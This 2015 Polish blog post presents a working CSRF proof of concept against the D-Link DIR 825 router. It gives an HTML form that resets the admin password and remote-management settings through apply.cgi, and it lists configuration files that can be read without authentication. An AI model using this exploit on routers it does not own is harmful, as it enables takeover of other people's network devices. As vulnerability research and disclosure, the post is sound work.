Monday, March 9, 2015

D-­Link DIR 825 - atak CSRF (po raz drugi)

W poprzednim poście opisałem w jaki sposób możemy uzyskać dostęp do systemu plików routera mając jego firmware, 
a następnie do plików znajdujących się na urządzeniu poprzez usługę TFTP. Usługa ta została wyłączona, co powinno stać się pierwotnie. Możemy ją z powrotem aktywować, modyfikując binarkę, ale tak się nie liczy. 


Tym razem krótszy wpis, bo i nad istotą problemu CSRF nie ma się co rozwodzić. 



Zapomniane hasło i w tym przypadku możemy odzyskać, mając gotowy dokument HTML, po to by zmienić dowolny parametr na routerze. Po przechwyceniu żądania zmiany hasła na proxy, widzimy (część kodu usunąłem, ponieważ był bardzo długi a dotyczył jedynie reguł przekierowania portów):



<html>
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST">
      <input type="hidden" name="button" value="Save&#32;Settings" />
      <input type="hidden" name="admin&#95;password&#95;tmp" value="test1234" />
      <input type="hidden" name="admin&#95;password" value="test1234" />
      <input type="hidden" name="admin&#95;password1" value="test1234" />
      <input type="hidden" name="admPass2" value="test1234" />
      <input type="hidden" name="user&#95;password&#95;tmp" value="1234" />
      <input type="hidden" name="user&#95;password" value="1234" />
      <input type="hidden" name="user&#95;password1" value="1234" />
      <input type="hidden" name="usrPass2" value="1234" />
      <input type="hidden" name="hostname" value="router" />
      <input type="hidden" name="graph&#95;auth&#95;enable" value="0" />
      <input type="hidden" name="https&#95;config" value="0&#47;0&#47;8181&#47;8080" />
      <input type="hidden" name="remote&#95;http&#95;management&#95;enable" value="0" />
      <input type="hidden" name="remote&#95;http&#95;management&#95;inbound&#95;filter" value="Allow&#95;All" />
   <input type="submit" value="chakuj!" />
    </form>
  </body>
</html>


Hasło oczywiście zostało zmienione na test1234. Jednocześnie wysłaliśmy żądanie m.in. zmiany hasła dla usera bez praw admina, hostname, zdalne zarządzanie routerem oraz port. 


OK, wracamy do trybu "nie znam hasła". 

Wystarczy powyższy skrypt zmodyfikować, czyli test1234 zmienić na swoją wartość i odpalić plik html w przeglądarce. Nie będąc zalogowanym urządzenie potwierdzi nam zmiany:

Po krótkich testach nie udało mi się potwierdzić ataku na publiczny adres IP, co wcale nie oznacza, że się nie da...


Bez autoryzacji możemy otworzyć pliki tekstowe:

http://192.168.0.1/chklst.txt
http://192.168.0.1/wlan.txt
http://192.168.0.1/HNAP1.txt
http://192.168.0.1/wireless_update.txt

których nie ma (już) w systemie plików w 2.0.9






No comments:

Post a Comment